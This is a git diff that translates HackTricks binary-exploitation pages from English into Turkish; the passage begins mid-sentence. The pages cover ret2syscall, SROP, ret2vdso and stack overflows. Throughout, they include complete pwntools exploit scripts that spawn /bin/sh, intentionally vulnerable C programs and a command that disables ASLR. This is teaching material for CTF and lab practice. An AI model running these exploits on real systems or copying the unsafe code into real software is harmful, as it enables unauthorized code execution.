mümkün olabileceğine dikkat edin, çünkü kernel CONFIG_COMPAT_VDSO ile derlenmişse vdso adresi rastgeleleştirilmeyecek: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: +Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir gadget bulamadım (stack'teki değerlerden register'ları kontrol etmenin veya bir ret için x30'u kontrol etmenin bir yolu yok) **SROP'u çağırmanın bir yolu hariç**. Sayfadaki örnekte daha fazla bilgi kontrol edin: {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 444927dfd..bc4d7fff1 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -2,26 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. +Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir fonksiyon çağırmayacağız. Bu durumda, her şey `/bin/sh`'yi çalıştırmak için bazı argümanlarla `sys_execve` sistem çağrısını çağırmak üzere hazırlanacak. Bu teknik genellikle statik olarak derlenmiş ikili dosyalar üzerinde gerçekleştirilir, bu nedenle birçok gadget ve sistem çağrısı talimatı olabilir. -In order to prepare the call for the **syscall** it's needed the following configuration: +**syscall** çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir: -- `rax: 59 Specify sys_execve` -- `rdi: ptr to "/bin/sh" specify file to execute` -- `rsi: 0 specify no arguments passed` -- `rdx: 0 specify no environment variables passed` +- `rax: 59 sys_execve'yi belirt` +- `rdi: "/bin/sh" dosyasını çalıştırmak için işaretçi` +- `rsi: 0 argüman geçmediğini belirt` +- `rdx: 0 ortam değişkeni geçmediğini belirt` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. +Yani, temelde `/bin/sh` dizesini bir yere yazmak ve ardından `syscall`'ı gerçekleştirmek gerekiyor (yığın kontrolü için gereken padding'i dikkate alarak). Bunun için, `/bin/sh`'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var. > [!TIP] -> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> Çağrılacak başka ilginç bir sistem çağrısı **`mprotect`**'dir; bu, bir saldırganın **bellekteki bir sayfanın izinlerini değiştirmesine** olanak tanır. Bu, [**ret2shellcode**](../../stack-overflow/stack-shellcode/) ile birleştirilebilir. -## Register gadgets - -Let's start by finding **how to control those registers**: +## Kayıt gadget'ları +**Bu kayıtları nasıl kontrol edeceğimizi** bulmaya başlayalım: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +Bu adreslerle **yığın içeriğini yazmak ve kayıtlarına yüklemek** mümkündür. -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## Dize yaz -## Write string - -### Writable memory - -First you need to find a writable place in the memory +### Yazılabilir bellek +Öncelikle bellek içinde yazılabilir bir yer bulmanız gerekiyor. ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -46,26 +43,20 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### Belleğe Dize Yaz -### Write String in memory - -Then you need to find a way to write arbitrary content in this address - +Sonra bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor. ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +### ROP zincirini otomatikleştir -### Automate ROP chain - -The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions: - +Aşağıdaki komut, yazma-nerede-ne yazma gadget'ları ve syscall talimatları olduğunda, statik bir ikili dosya verildiğinde tam bir `sys_execve` ROP zinciri oluşturur: ```bash ROPgadget --binary vuln --ropchain ``` - -#### 32 bits - +#### 32 bit ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -87,9 +78,7 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - -#### 64 bits - +#### 64 bit ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -105,17 +94,15 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## Yetersiz Gadgetler -## Lacking Gadgets - -If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack: +Eğer **gadgetleriniz yetersizse**, örneğin `/bin/sh`'yi belleğe yazmak için, yığın üzerinden tüm kayıt değerlerini (RIP ve parametre kayıtları dahil) kontrol etmek için **SROP tekniğini** kullanabilirsiniz: {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} -## Exploit Example - +## İstismar Örneği ```python from pwn import * @@ -182,14 +169,13 @@ target.sendline(payload) target.interactive() ``` - -## Other Examples & References +## Diğer Örnekler ve Referanslar - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. +- 64 bit, PIE yok, nx, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused +- 64 bit, nx, PIE yok, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde yazmak için matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir. - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bit, PIE yok, nx, BF canary, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 5b912eab8..427f8cb85 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -2,80 +2,73 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64'e bir giriş bulmak için: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Kod -We are going to use the example from the page: +Sayfadan örneği kullanacağız: {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +PIE ve canary olmadan derleyin: ```bash clang -o ret2win ret2win.c -fno-stack-protector ``` +## Gadgetler -## Gadgets +**syscall** çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir: -In order to prepare the call for the **syscall** it's needed the following configuration: - -- `x8: 221 Specify sys_execve` -- `x0: ptr to "/bin/sh" specify file to execute` -- `x1: 0 specify no arguments passed` -- `x2: 0 specify no environment variables passed` - -Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine: +- `x8: 221 sys_execve'yi belirt` +- `x0: "/bin/sh" dosyasını çalıştırmak için işaretçi` +- `x1: 0 argüman geçilmediğini belirt` +- `x2: 0 ortam değişkeni geçilmediğini belirt` +ROPgadget.py kullanarak makinenin libc kütüphanesinde aşağıdaki gadget'ları bulabildim: ```armasm ;Load x0, x1 and x3 from stack and x5 and call x5 0x0000000000114c30: - ldp x3, x0, [sp, #8] ; - ldp x1, x4, [sp, #0x18] ; - ldr x5, [sp, #0x58] ; - ldr x2, [sp, #0xe0] ; - blr x5 +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr x2, [sp, #0xe0] ; +blr x5 ;Move execve syscall (0xdd) to x8 and call it 0x00000000000bb97c : - nop ; - nop ; - mov x8, #0xdd ; - svc #0 +nop ; +nop ; +mov x8, #0xdd ; +svc #0 ``` - -With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall. +Önceki gadget'lerle, yığın üzerinden gerekli tüm kayıtları kontrol edebiliriz ve syscall çağrısı yapmak için x5'i ikinci gadget'a atlamak üzere kullanabiliriz. > [!TIP] -> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. +> libc kütüphanesinden bu bilgiyi bilmenin ayrıca bir ret2libc saldırısı yapmaya da olanak tanıdığını unutmayın, ancak bunu mevcut örnek için kullanalım. ### Exploit - ```python from pwn import * @@ -124,5 +117,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 20e07f3f2..5994e5165 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. +**`Sigreturn`**, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir **syscall**'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir **sinyal işleyici** kullanır. -After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. +Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler. -The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. +İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir. > [!CAUTION] -> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. +> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığına** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** sağlar. -Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: +Bu durumun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir **Ret2syscall türü** olduğunu unutmayın: {{#ref}} ../rop-syscall-execv/ {{#endref}} -If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): - +Eğer merak ediyorsanız, bu daha sonra değerleri geri almak için yığında saklanan **sigcontext yapısı**dır (şeması [**buradan**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l | __reserved | sigmask | +--------------------+--------------------+ ``` - -For a better explanation check also: +Daha iyi bir açıklama için ayrıca kontrol edin: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -## Example - -You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there: +## Örnek +[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısı ROP aracılığıyla oluşturulmuştur (rxa'ya `0xf` değeri konulmuştur), ancak buradan itibaren bu son istismar: ```python from pwn import * @@ -91,9 +88,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**: - +Ayrıca, ikili dosyanın zaten `sigreturn` çağırdığı ve bu nedenle bunun bir **ROP** ile inşa edilmesine gerek olmadığı [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kısmını kontrol edin: ```python from pwn import * @@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive() ``` - -## Other Examples & References +## Diğer Örnekler ve Referanslar - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. +- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak ve ikilinin belleğinde bulunan bayrağı okumak mümkündür. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). +- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. +- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanan basit bir buffer overflow, [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği ile. ROP zinciri, `.bss`'ye `/bin/sh` yazarak tekrar gets'i çağırır, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. +- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir ve ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçişi, onu bir sonraki talimat olarak yazacak ve çalıştıracaktır. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. +- SROP, bir shellcode'un yerleştirildiği yere yürütme ayrıcalıkları (memprotect) vermek için kullanılır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ad3191732..ac843b658 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -2,10 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Pwntools example - -This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**: +## Pwntools örneği +Bu örnek, savunmasız ikili dosyayı oluşturmakta ve bunu istismar etmektedir. İkili dosya **yığına okuma yapar** ve ardından **`sigreturn`** çağrısı yapar: ```python from pwn import * @@ -33,55 +32,49 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` +## bof örneği -## bof example - -### Code - +### Kod ```c #include #include #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("mov x8, 0x8b; svc 0;"); - return; +if (do_arg == 1) +__asm__("mov x8, 0x8b; svc 0;"); +return; } char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - do_stuff(2); - return 0; +char* b = gen_stack(); +do_stuff(2); +return 0; } ``` - -Compile it with: - +Bunu ile derleyin: ```bash clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` - ## Exploit -The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. - +Sömürü, **`sigreturn`** çağrısına geri dönmek ve yığını **`execve`** çağrısı için `/bin/sh`'ye bir işaretçi ile hazırlamak için bof'u kullanır. ```python from pwn import * @@ -110,44 +103,40 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` +## sigreturn olmadan bof örneği -## bof example without sigreturn - -### Code - +### Kod ```c #include #include #include char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - return 0; +char* b = gen_stack(); +return 0; } ``` - ## Exploit -In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: +**`vdso`** bölümünde **`sigreturn`** çağrısının **`0x7b0`** ofsetinde bulunması mümkündür:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: - +Bu nedenle, eğer sızdırılmışsa, **bu adresi `sigreturn` erişimi için kullanmak mümkündür** eğer ikili dosya bunu yüklemiyorsa: ```python from pwn import * @@ -176,14 +165,13 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -For more info about vdso check: +vdso hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../ret2vdso.md {{#endref}} -And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: +Ve `/bin/sh` adresini atlatmak için, ona işaret eden birkaç ortam değişkeni oluşturabilirsiniz, daha fazla bilgi için: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6de6060f2..11454637e 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,37 +2,34 @@ {{#include ../../banners/hacktricks-training.md}} -## What is a Stack Overflow +## Stack Overflow Nedir -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**. -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. +Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalamasından** kaynaklanır, bu nedenle yığının diğer kısımlarını üzerine yazma yeteneğine sahip olur. -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -For example, the following functions could be vulnerable: +Bu tür güvenlik açıklarına sahip bazı yaygın fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir. +Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir: ```c void vulnerable() { - char buffer[128]; - printf("Enter some text: "); - gets(buffer); // This is where the vulnerability lies - printf("You entered: %s\n", buffer); +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); } ``` +### Stack Overflow ofsetlerini Bulma -### Finding Stack Overflows offsets +Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir. -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. +Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin** tam olarak bir kez **bitişik bir alt dizi olarak göründüğü** **döngüsel bir dizidir.** -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. - -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. - -It's possible to use **pwntools** for this: +Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür. +Bunun için **pwntools** kullanmak mümkündür: ```python from pwn import * @@ -44,58 +41,55 @@ eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` - -or **GEF**: - +ve **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` +## Yığın Taşmalarını Sömürme -## Exploiting Stack Overflows +Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilen **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\ +Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**. -During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. - -However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). +Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında). ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: +Bu tür CTF zorluklarında, ikili dosya içinde **asla çağrılmayan** bir **fonksiyon** vardır ve **kazanmak için bu fonksiyonu çağırmanız gerekir**. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle 